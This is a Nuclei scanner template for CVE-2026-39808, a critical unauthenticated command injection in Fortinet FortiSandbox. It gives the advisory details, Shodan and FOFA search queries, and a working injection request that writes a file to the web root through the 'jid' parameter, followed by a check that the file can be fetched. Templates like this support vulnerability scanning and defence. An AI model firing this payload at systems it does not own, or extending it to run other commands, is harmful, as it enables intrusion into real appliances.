id: CVE-2026-39808

info:
  name: Fortinet FortiSandbox - Command Injection
  author: DhiyaneshDk
  severity: critical
  description: |
    Fortinet FortiSandbox 4.4.0 through 4.4.8 contains a command injection caused by improper neutralization of special elements in OS commands, letting attackers execute unauthorized code or commands, exploit requires crafted input.
  impact: |
    Attackers can execute arbitrary code or commands, potentially leading to full system compromise.
  remediation: Upgrade FortiSandbox to version 4.4.9 or later.
  reference:
    - https://fortiguard.fortinet.com/psirt/FG-IR-26-100
    - https://nvd.nist.gov/vuln/detail/CVE-2026-39808
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-39808
    cwe-id: CWE-78
    epss-score: 0.25454
    epss-percentile: 0.96296
  metadata:
    verified: true
    max-request: 2
    vendor: fortinet
    product: fortisandbox
    shodan-query: http.title:"FortiSandbox"
    fofa-query: title="FortiSandbox"
  tags: cve,cve2026,fortisandbox,fortinet,rce,intrusive,file-upload

variables:
  string: "{{randstr}}"
  filename: "{{to_lower(rand_text_alpha(8))}}"

http:
  - raw:
      - |
        GET /fortisandbox/job-detail/tracer-behavior?jid=%7c%28echo+{{string}}+%3e+%2fweb%2fng%2f{{filename}}.txt%29%7c HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(body, 'fortisandbox')"
        internal: true

  - raw:
      - |
        GET /ng/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, '{{string}}')"
        condition: and
# digest: 4a0a0047304502201ebb0af9ca7519590bfc12f8e1d302c17b44a79730df787e6a6b2250d71d0b6f022100b8a19311aea1dc47efd12a5782a260732b087a74978794ac17d9e1329dbca360:922c64590222798bb761d5b6d8e72950